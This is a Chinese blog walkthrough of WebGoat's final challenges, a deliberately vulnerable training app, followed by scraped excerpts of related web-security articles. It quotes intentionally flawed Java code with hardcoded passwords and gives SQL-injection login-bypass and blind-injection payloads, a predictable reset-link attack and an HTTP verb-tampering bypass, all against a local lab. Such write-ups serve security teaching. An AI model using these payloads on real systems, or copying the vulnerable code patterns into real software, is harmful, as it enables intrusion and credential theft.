1012.Web安全攻防靶场之WebGoat – 3

概述

这是 WebGoat 的最后一部分,主要内容是 WebGoat中的Challenge,前面还有 12

Challenge

Admin lost password

本题目的服务端源代码。

@AssignmentPath("/challenge/1")
public class Assignment1 extends AssignmentEndpoint {

    @RequestMapping(method = RequestMethod.POST)
    public
    @ResponseBody
    AttackResult completed(@RequestParam String username, @RequestParam String password, HttpServletRequest request) throws IOException {
        boolean ipAddressKnown =  true;
        boolean passwordCorrect = "admin".equals(username) && PASSWORD.equals(password);
        if (passwordCorrect && ipAddressKnown) {
            return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build();
        } else if (passwordCorrect) {
            return failed().feedback("ip.address.unknown").build();
        }
        return failed().build();
    }

    public static boolean containsHeader(HttpServletRequest request) {
        return StringUtils.hasText(request.getHeader("X-Forwarded-For"));

    }
}

public interface SolutionConstants {

    //TODO should be random generated when starting the server
    String PASSWORD = "!!webgoat_admin_1234!!";
    String PASSWORD_TOM = "thisisasecretfortomonly";
    String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
}

可以看到是直接用两个输入和两个字符串常量做匹配,然后做了一个与操作。感觉无法绕过???

Without password

此题目要求用账户Larry登录,这道题目是一道万能密码题目。

使用Larry/1‘ or ‘1‘=1进行登录就可以了,看一下题目源代码

@RequestMapping(method = POST)
@ResponseBody
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
    Connection connection = DatabaseUtilities.getConnection(webSession);
    checkDatabase(connection);

    if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {
        return failed().feedback("required4").build();
    }
    if (!"Larry".equals(username_login)) {
        return failed().feedback("user.not.larry").feedbackArgs(username_login).build();
    }

    PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = ‘" + username_login + "‘ and password = ‘" + password_login + "‘");
    ResultSet resultSet = statement.executeQuery();

    if (resultSet.next()) {
        return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
    } else {
        return failed().feedback("challenge.close").build();
    }
}

可以看到题目直接将接收到的用户名和密码代入了sql语句,所以使用万能密码后的拼好的完整sql语句为

select password from  USERS_TABLE_NAME  where userid = ‘Larry‘ and password = ‘1‘ or ‘1‘=‘1‘

此语句永远为为真,就登录了。

Creating a new account

在注册界面抓包后发现链接为 WebGoat/challenge/6,查看源文件

@PutMapping  //assignment path is bounded to class so we use different http method :-)
@ResponseBody
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
    AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);

    if (attackResult == null) {
        Connection connection = DatabaseUtilities.getConnection(webSession);
        checkDatabase(connection);

        String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = ‘" + username_reg + "‘";
        Statement statement = connection.createStatement();
        ResultSet resultSet = statement.executeQuery(checkUserQuery);

        if (resultSet.next()) {
            attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
        } else {
            PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
            preparedStatement.setString(1, username_reg);
            preparedStatement.setString(2, email_reg);
            preparedStatement.setString(3, password_reg);
            preparedStatement.execute();
            attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
        }
    }
    return attackResult;
}

发现在String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = ‘" + username_reg + "‘";中直接把userid插入了查询用户是否存在语句,则直接用sqlmap进行注入测试。测试包如下。

PUT /WebGoat/challenge/6 HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 84
Accept: */*
Origin: http://127.0.0.1:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: JSESSIONID=A7D0A7096B5E9685DF152BC343A54B8E
Connection: close

username_reg=tom*&email_reg=Tom%40Tom.com&password_reg=tom&confirm_password_reg=tom1

可以看见,登录过程和注册信息入库过程都启用了预编译,几乎没有什么注入可能,唯一有注入点的地方就是检查用户是否注册过这里,直接把username_reg拼接在sql语句中,我的用户名是breeze,再次注册会提示我已经注册过,但我如果把用户名改为breeze’ and1=2 –就会提示我创建账户成功。这样我们就可以在and后构造逻辑语句来进行布尔注入了。但问题是,如何知道表名。 

在源码中,我们看出,这张表每次使用都会创建新的,用完删除,而表名是challenge_users_6加上随机生成的16位长度的字符串,几乎不可能暴力破解了。但它讲表名输出到了服务器的log上,所以我们可以去log查看本次的表名 

这次的表名是challenge_users_6WDzKXNcjaYiNPkSr,根据这个表名构造逻辑语句,前面的用户我们使用没有注册过的breeze123,那么查询结果就是假,后面使用or+逻辑语句,这样我们的逻辑语句是真就会返回假,是假就会返回真。

逻辑语句:

breeze123‘+or+(select+left(password,1)+from+challenge_users_6WDzKXNcjaYiNPkSr+where+userid=‘tom‘)=‘a‘+--

写一个脚本就可以得到密码 thisisasecretfortomonly了

Admin password reset

还是老问题,收不到邮件,这个题目是让重置admin用户的密码,当输入邮箱后在WebWolf里什么也看不到,后发现发邮件时必须包含你当前的用户名,比如我的用户名是admin1,则应该给用户admin1@xxx.xxx发送。

接受到邮件后,点击reset链接。

说不是admin用户,则说明此题我们需要构造出用户admin的重置链接。在题目链接下测试了一下.git文件后,链接http://127.0.0.1:8080/WebGoat/challenge/7/.git,打开发现是git的包,则回复使用一下。

将下载的git文件解压,然后打开命令开,使用git status来看一下状态。

这里获取文件后,可以通过jd-gui反编译PasswordResetLink.class看到源代码。

/**
 * WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents
 *
 * @author nbaars
 * @since 8/17/17.
 */
public class PasswordResetLink {

    public String createPasswordReset(String username, String key) {
        Random random = new Random();
        if (username.equalsIgnoreCase("admin")) {
            //Admin has a fix reset link
            random.setSeed(key.length());
        }
        return scramble(random, scramble(random, scramble(random, MD5.getHashString(username))));
    }

    public static String scramble(Random random, String inputString) {
        char a[] = inputString.toCharArray();
        for (int i = 0; i < a.length; i++) {
            int j = random.nextInt(a.length);
            char temp = a[i];
            a[i] = a[j];
            a[j] = temp;
        }
        return new String(a);
    }

    public static void main(String[] args) {
        if (args == null || args.length != 2) {
            System.out.println("Need a username and key");
            System.exit(1);
        }
        String username = args[0];
        String key = args[1];
        System.out.println("Generation password reset link for " + username);
        System.out.println("Created password reset link: " + new PasswordResetLink().createPasswordReset(username, key));
    }
}

关键代码在createPasswordReset中,可以发现是admin用户时,会把一个key的长度传进Random函数里当做种子进行计算,所以就好办了,按照createPasswordReset的算法,将key的长度多尝试几次,如1-30,然后使用点击访问链接就可以了。

经过实际的工作,写来一段代码来看不同值的hash值。

发现当用户为admin是,上图两个红框内的内容是一样的,按道理说是符合题目要求的,但是webgoate官方给出的hash为375afe1104f4a487a73823c50a9292a2,应该是答案出了问题。

Without account

本题目需要用户进行投票,如果成功,则功能通过,但是需要登录后才能进行投票。

下面是获取flag的关键代码

    @GetMapping(value = "/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE)
    @ResponseBody
    public ResponseEntity<?> vote(@PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) {
        //Simple implementation of VERB Based Authentication
        String msg = "";
        if (request.getMethod().equals("GET")) {
            HashMap<String, Object> json = Maps.newHashMap();
            json.put("error", true);
            json.put("message", "Sorry but you need to login first in order to vote");
            return ResponseEntity.status(200).body(json);
        }
        Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
        votes.put(nrOfStars, allVotesForStar + 1);
        return ResponseEntity.ok().header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)).build();
    }

查看了源码后发现,只要是GET请求都会返回失败。但这个GetMapping就是get提交的,所以我的思路是,使用其他方法提交请求绕过,先将GET改为POST提交。

失败了。

然后换成PUT,还是失败,之后换成HEAD,发现了flag。(就是这么简单)

所以这道题主要还是考对http协议的熟悉,假如就只知道提交方式GET,POST,PUT是做不出来的。

原文地址:https://www.cnblogs.com/beijibing/p/10393326.html

时间: 2024-11-05 18:50:33

1012.Web安全攻防靶场之WebGoat – 3的相关文章

1006.Web安全攻防靶场之WebGoat – 2

概述 由于上一篇文章 Web安全攻防靶场之WebGoat - 1 过长,这里分开写后面内容 使用 Cross-Site Scripting (XSS) 跨站脚本攻击,跨站脚本分为三类 1. Reflected XSS Injection 反射型xss 通过一个链接产生的xss叫做反射型xss,所有恶意内容都在url中. 2. Stored XSS Injection 存储型xss 所有的恶意内容都在网页中,是攻击者通过漏洞将恶意内容写在数据库中,然后当其他用户访问含有这些恶意数据的网页时,就遭受

1013.Web安全攻防靶场之wavsep

概述 wavsep 是一款基于java的简单web攻防靶场,利用最简单的jsp技术进行实现. GitHub地址为 https://github.com/sectooladdict/wavsep. 部署后首页截图 部署 从git上下载包后,倒入eclipse中,修复jdk版本号即可.wavsep使用的默认为jre7,tomcat6. 具体怎么将已有eclipse项目导入并将web项目在tomcat中运行,请在搜索引擎中搜索. 项目启动成功后,访问连接 http://127.0.0.1:8080/w

Web 前端攻防(2014版)-baidu ux前端研发部

http://fex.baidu.com/articles/page2/ Web 前端攻防(2014版) zjcqoo | 20 Jun 2014 禁止一切外链资源 外链会产生站外请求,因此可以被利用实施 CSRF 攻击. 目前国内有大量路由器存在 CSRF 漏洞,其中相当部分用户使用默认的管理账号.通过外链图片,即可发起对路由器 DNS 配置的修改,这将成为国内互联网最大的安全隐患. 案例演示 百度旅游在富文本过滤时,未考虑标签的 style 属性,导致允许用户自定义的 CSS.因此可以插入站

【转】常见六大Web 安全攻防解析

原文转自:https://segmentfault.com/a/1190000018073845 作者:浪里行舟 在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷.如何才能更好地保护我们的数据?本文主要侧重于分析几种常见的攻击的类型以及防御的方法. 一.XSS XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS.跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或Java

常见web安全攻防总结

Web 安全的对于 Web 从业人员来说是一个非常重要的课题 , 所以在这里总结一下 Web 相关的安全攻防知识,希望以后不要再踩雷,也希望对看到这篇文章的同学有所帮助.今天这边文章主要的内容就是分析几种常见的攻击的类型以及防御的方法. 也许你对所有的安全问题都有一定的认识,但最主要的还是在编码设计的过程中时刻绷紧安全那根弦,需要反复推敲每个实现细节,安全无小事. 本文代码 Demo 都是基于 Node.js 讲解,其他服务端语言同样可以参考. XSS 首先说下最常见的 XSS 漏洞,XSS (

常见 Web 安全攻防总结

Web 安全的对于 Web 从业人员来说是一个非常重要的课题,所以在这里总结一下 Web 相关的安全攻防知识,希望以后不要再踩雷,也希望对看到这篇文章的同学有所帮助.今天这边文章主要的内容就是分析几种常见的攻击的类型以及防御的方法. 也许你对所有的安全问题都有一定的认识,但最主要的还是在编码设计的过程中时刻绷紧安全那根弦,需要反复推敲每个实现细节,安全无小事.本文代码 Demo 都是基于 Node.js 讲解,其他服务端语言同样可以参考. 目录: 1.xss (1)非持久型 XSS (2)持久型

WEB前端攻防

1.禁止一切外链资源 外链会产生站外请求,因此可以被利用实施 CSRF 攻击. 目前国内有大量路由器存在 CSRF 漏洞,其中相当部分用户使用默认的管理账号.通过外链图片,即可发起对路由器 DNS 配置的修改,这将成为国内互联网最大的安全隐患. 案例演示 百度旅游在富文本过滤时,未考虑标签的 style 属性,导致允许用户自定义的 CSS.因此可以插入站外资源: 所有浏览该页面的用户,都能发起任意 URL 的请求: 由于站外服务器完全不受控制,攻击者可以控制返回内容: ●如果检测到是管理员,或者

常见六大Web安全攻防解析

一.XSSXSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS.跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击. 跨站脚本攻击有可能造成以下影响: 利用虚假输入表单骗取用户个人信息.利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求.显示伪造的文章或图片.XSS 的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览

web安全攻防----环境搭建篇

1.安装虚拟机vMware. 2.在虚拟机上安装kali系统. *Kali为linux操作系统的一个发行版. 3.安装Xshell *Xshell是一个强大的安全终端模拟软件,它支持SSH1, SSH2, 以及Microsoft Windows 平台的TELNET 协议. 4.几种协议与端口 (1)RDP协议----远程桌面访问协议,端口号:3389. (2)ssh协议-----非对称的加密算法,抓包之后看不见里面的内容,需要解密.(没有验证的明文传输)ssh是个协议组.里面包含ftp和sftp